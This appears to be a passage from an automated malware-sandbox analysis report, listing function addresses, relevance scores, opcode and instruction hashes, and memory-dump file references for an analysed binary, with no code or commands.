Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 01963c9dc39f88a411cb6354170f2201937f00dd8f7091983f51f65d3dbfc8b4
Instruction ID: 6b3b26d5860e40e5bf7ada9a6168c602da30f91d0c0f376a36cbc5ee4b940a72
Opcode Fuzzy Hash: 01963c9dc39f88a411cb6354170f2201937f00dd8f7091983f51f65d3dbfc8b4
Instruction Fuzzy Hash: FB4134711187028BD318DF28D8818A6B3E6EFC6320F20CB7ED496971D9D734641ACB83

Uniqueness

Uniqueness Score: -1.00%

Function 0116D53B Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

n, xrefs: 0116D68B

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: n
API String ID: 0-2013832146
Opcode ID: 8ba2f7e90c646e6ddd2060d452b1a3e6fdd0925a9ab1a9b6f49074d564485d12
Instruction ID: d83735d00d5016f674c82f7233511c683cec3895d64c749bee96968b5ce86790
Opcode Fuzzy Hash: 8ba2f7e90c646e6ddd2060d452b1a3e6fdd0925a9ab1a9b6f49074d564485d12
Instruction Fuzzy Hash: 054166315187428BC309EB2CD4186ABB3D2FBCA324F70CA6EE0D5C35C8D779515ACA86

Uniqueness

Uniqueness Score: -1.00%

Function 011E1937 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

8L, xrefs: 0124657B

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: 8L
API String ID: 0-690791359
Opcode ID: 3374f70834e65cc812ecedbbb67d31879ad022d596f16fbf4751ebc9950402c0
Instruction ID: f41dc4761c01b261f059ec356b581322929442b13cf56aec09c7bfb03770e553
Opcode Fuzzy Hash: 3374f70834e65cc812ecedbbb67d31879ad022d596f16fbf4751ebc9950402c0
Instruction Fuzzy Hash: DB4177756186124B8729EF3CD4904AAB3A6FBD9320B50873D9592CB9A4EB31A519CB40

Uniqueness

Uniqueness Score: -1.00%

Function 011E5C80 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

b, xrefs: 011E5E0A

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: b
API String ID: 0-1908338681
Opcode ID: 139017137d45114cf1aca3230f0fae5240801c36ee5647430f6f7858163c1043
Instruction ID: 56622e3dbe4e51115ec0f8471de99a24d41dc57f4c5b9db2d48f9639fb6510de
Opcode Fuzzy Hash: 139017137d45114cf1aca3230f0fae5240801c36ee5647430f6f7858163c1043
Instruction Fuzzy Hash: 81419D3500871A8BC729EF28E5800FAB7D6FBD1314BA4861EC5D38759ADB31212ACF81

Uniqueness

Uniqueness Score: -1.00%

Function 00FCACB7 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

(, xrefs: 01200B06

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: d53cad28ca8c2ed4427f919c70a74d7b49b6b60bd833efc8962f3e47c14e0243
Instruction ID: aea6bf07cfb52219c46851d58bfcd5b3aafb1cff1192f6ea7e0326ec0985fce1
Opcode Fuzzy Hash: d53cad28ca8c2ed4427f919c70a74d7b49b6b60bd833efc8962f3e47c14e0243
Instruction Fuzzy Hash: DD3199320086628BD70DDB39D8559FBB3D2FBC4325B50CBADD0969BA85D77A910BCB00

Uniqueness

Uniqueness Score: -1.00%

Function 01120046 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

A, xrefs: 012767BC

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-3554254475
Opcode ID: 45fe978ef5a83aae3bbaf96ee3e9a1348ac4b2294f3515c27de8bd7e96e961c6
Instruction ID: a2ad08a01573ab9e02803e07ea8da15a253c044d2b07bc230747ede1b1ab7c71
Opcode Fuzzy Hash: 45fe978ef5a83aae3bbaf96ee3e9a1348ac4b2294f3515c27de8bd7e96e961c6
Instruction Fuzzy Hash: 354137761187028BC31DEE38E8944ABB7E2FBC8224F608A3DD196C75D4DB329507DA46

Uniqueness

Uniqueness Score: -1.00%

Function 00FE72F7 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

+, xrefs: 00FE738B

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: +
API String ID: 0-2126386893
Opcode ID: 21c3e8f30058595cffc5dd0c4c6d6cde46c4c4c0eb0dc41a2176069f2838e291
Instruction ID: d4bfc0ae06b632c8fdd221048f4a399d33663721681548d5c5025411694e008b
Opcode Fuzzy Hash: 21c3e8f30058595cffc5dd0c4c6d6cde46c4c4c0eb0dc41a2176069f2838e291
Instruction Fuzzy Hash: 18215739018A1B4BE70CEA78D4504F73796FBE0320BA0A22DD986871A8EB354116D648

Uniqueness

Uniqueness Score: -1.00%

Function 01280F2F Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

i, xrefs: 01280F4E

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: i
API String ID: 0-3865851505
Opcode ID: 585c4171a91663428f3e6ef714723016c810e393bf586d95afa1d2e241eacce3
Instruction ID: e459481e8d6e011c5fc82337229a80eda570a7a297f7e931f6c44c6708aa9df0
Opcode Fuzzy Hash: 585c4171a91663428f3e6ef714723016c810e393bf586d95afa1d2e241eacce3
Instruction Fuzzy Hash: DA21A63611871787D31DEB28C8414FB37E2FB8937038943ADC0128BA99FB39A41B8A00

Uniqueness

Uniqueness Score: -1.00%

Function 0107AFE0 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

E, xrefs: 0107B0C2

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: E
API String ID: 0-3568589458
Opcode ID: 9b231fe55e910477362b132eb5cc5dd87c3dde4cb63079bcd8f6a3e78d99eb60
Instruction ID: e230f6f4d09d169c6fe526967cb59a15a0064396045572f99b27b1f241f318ff
Opcode Fuzzy Hash: 9b231fe55e910477362b132eb5cc5dd87c3dde4cb63079bcd8f6a3e78d99eb60
Instruction Fuzzy Hash: ED217C32009B078BD318EE2DD8906967393F7C1328FA0CF6C855987949D336982BCB95

Uniqueness

Uniqueness Score: -1.00%

Function 01251302 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

$, xrefs: 01055FA2

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 9a1c2d2dc549202a74d20587f54742af17d177e992aa43caaa2c2e50fd8610a0
Instruction ID: 50b9b7bfc75535cd130c2387639f23afb4b38e6f08d3d1cacf69c62fdd27a76f
Opcode Fuzzy Hash: 9a1c2d2dc549202a74d20587f54742af17d177e992aa43caaa2c2e50fd8610a0
Instruction Fuzzy Hash: A921883111C346AFC325CB78CC018ABBBE1EFC1314F45CE6DA6E986285E7B0A026C742

Uniqueness

Uniqueness Score: -1.00%

Function 01217D79 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

c, xrefs: 0117DE66

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: c
API String ID: 0-112844655
Opcode ID: 9e51aad8eeb5d1cb874dd4b64ea3653b1d38cbba654409e4d37c05a9b51721f5
Instruction ID: ce2fdbbbdf4aa90c07ffb7a42686474d3f192c04eff5b5835b226db281defc1c
Opcode Fuzzy Hash: 9e51aad8eeb5d1cb874dd4b64ea3653b1d38cbba654409e4d37c05a9b51721f5
Instruction Fuzzy Hash: 3B3126341087228BC329EF6DA850597B7E5FBD9310F518A6ED0C69BAA4D335A016CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0104CB6D Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

[, xrefs: 0104CB7E

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: [
API String ID: 0-784033777
Opcode ID: e4ffa3c172f56f9c4c0fdb6ddd0c73cc968a5c9a8bc9f7217ccdc491d66dce87
Instruction ID: bf6165f092544a193fb42ed4943e829142778842df92dbda0aee42f36ac69057
Opcode Fuzzy Hash: e4ffa3c172f56f9c4c0fdb6ddd0c73cc968a5c9a8bc9f7217ccdc491d66dce87
Instruction Fuzzy Hash: 8F117A3A01869B47D318ED34D8941F77792FFCA228F64C77CD59BCBA84EA3495068601

Uniqueness

Uniqueness Score: -1.00%

Function 00F8FFA2 Relevance: 1.3, Strings: 1, Instructions: 12COMMON

Download Yara Rule

Strings

`auo, xrefs: 00F8FFA3

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: `auo
API String ID: 0-3694295154
Opcode ID: 421d818e148c8630b58e1f12fc190c33846f4ced7f2d4cefa1df1668f90d6e26
Instruction ID: f4b0c7f9de19d71df964018eb13edb75d7dda176c08b12e144fb4ff88f90e21f
Opcode Fuzzy Hash: 421d818e148c8630b58e1f12fc190c33846f4ced7f2d4cefa1df1668f90d6e26
Instruction Fuzzy Hash: BEC04C759481068BC30D9F24EDD58367378EB576157443518D507DB262D650D841AD1A

Uniqueness

Uniqueness Score: -1.00%

Function 00F9C798 Relevance: .8, Instructions: 833COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e42e8833e082f8394747af054b8f0b0eb86b55b7f7e2a07ae0b72c6fb0592ed
Instruction ID: f2dc34d20ef068492cafa3f6a2eabacc923903e57d7a3d831fede4bcce84ca9f
Opcode Fuzzy Hash: 0e42e8833e082f8394747af054b8f0b0eb86b55b7f7e2a07ae0b72c6fb0592ed
Instruction Fuzzy Hash: 6B52A871618345CFE718CF28D991B2AB7E2FBC9314F58496CE48687391DB35E806DB82

Uniqueness

Uniqueness Score: -1.00%

Function 00F87E40 Relevance: .8, Instructions: 825COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7efd84edb0efe2b3d8a9f91c137baf9a528549c810e970216e2099b4ff06292e
Instruction ID: 52e232cd4944c11384b8ec27614eb72ae29a164e6dee36cb265ece7c96a78c30
Opcode Fuzzy Hash: 7efd84edb0efe2b3d8a9f91c137baf9a528549c810e970216e2099b4ff06292e
Instruction Fuzzy Hash: 694206319087118BC720EF58D8806FAF3E1FFD4354F994A2DD98687241EB35E956DB82

Uniqueness

Uniqueness Score: -1.00%

Function 00FA5EDD Relevance: .8, Instructions: 807COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ad95f71948c251373dd77649fa7b4e5c0c9f5977efd001bca0da3c75e7f760b3
Instruction ID: 6ed353b05f50a635acc29ba0c7b3800c0bf63992e842b56810d33f50cf8c110f
Opcode Fuzzy Hash: ad95f71948c251373dd77649fa7b4e5c0c9f5977efd001bca0da3c75e7f760b3
Instruction Fuzzy Hash: 5D52A9B0604B418BD329CF25C4A47A3BBE2BF56314F588A5DD4E78BB92D339B405DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F83660 Relevance: .7, Instructions: 658COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4be49a9108c32e376e270a8ae4c8eeb82ef25182a3144d30944ebe8be368fb02
Instruction ID: a480873ad9f6432770cb5989308eb2ad8c1b21b9296988ece800a82cb7034858
Opcode Fuzzy Hash: 4be49a9108c32e376e270a8ae4c8eeb82ef25182a3144d30944ebe8be368fb02
Instruction Fuzzy Hash: 3342BF71A087408FC329DF29C0906A7F7E2BFC4714F188A2DE4DA87665D735EA45DB41

Uniqueness

Uniqueness Score: -1.00%

Function 00F9761C Relevance: .6, Instructions: 628COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1263f451a8801d9b1204358f4262c790857bef162f90108497c39215614cc70
Instruction ID: 5ffcc2c828866da8cf5657bfbaadffd5e4da623907debe2fea644ec329f5671c
Opcode Fuzzy Hash: a1263f451a8801d9b1204358f4262c790857bef162f90108497c39215614cc70
Instruction Fuzzy Hash: 8F1295B0514B018BEB25DF28C8A1B63B7F1FF46364F248A0CD8964BB95E374E945DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F83FE0 Relevance: .6, Instructions: 607COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18774d5c95c39497bbd476b121ad6f49ea82a6b026cd73d1bf85d5dd515df49
Instruction ID: 28d91e3eab922644f60ef1f3ff9bc2399888f8534bd3d8d19ed00e3cf2b6023b
Opcode Fuzzy Hash: b18774d5c95c39497bbd476b121ad6f49ea82a6b026cd73d1bf85d5dd515df49
Instruction Fuzzy Hash: 60424771914B528FC368DF28C5806AABBF1FF95310B608A2DD5978BB90E735F845EB10

Uniqueness

Uniqueness Score: -1.00%

Function 00F86350 Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20b3c874ae2deca06fff4844ea057a8bfd8e049c993c511525991cbdb36ee609
Instruction ID: 7f3b66d43d5eb5b1245e392526212a82c2d4720a6ca210786bc2ffd76baa77c7
Opcode Fuzzy Hash: 20b3c874ae2deca06fff4844ea057a8bfd8e049c993c511525991cbdb36ee609
Instruction Fuzzy Hash: 4A02E132608340CFC718DF28C8817AABBE1EF98314F58496DF9998B352E775D805DB92

Uniqueness

Uniqueness Score: -1.00%

Function 0129CF7B Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
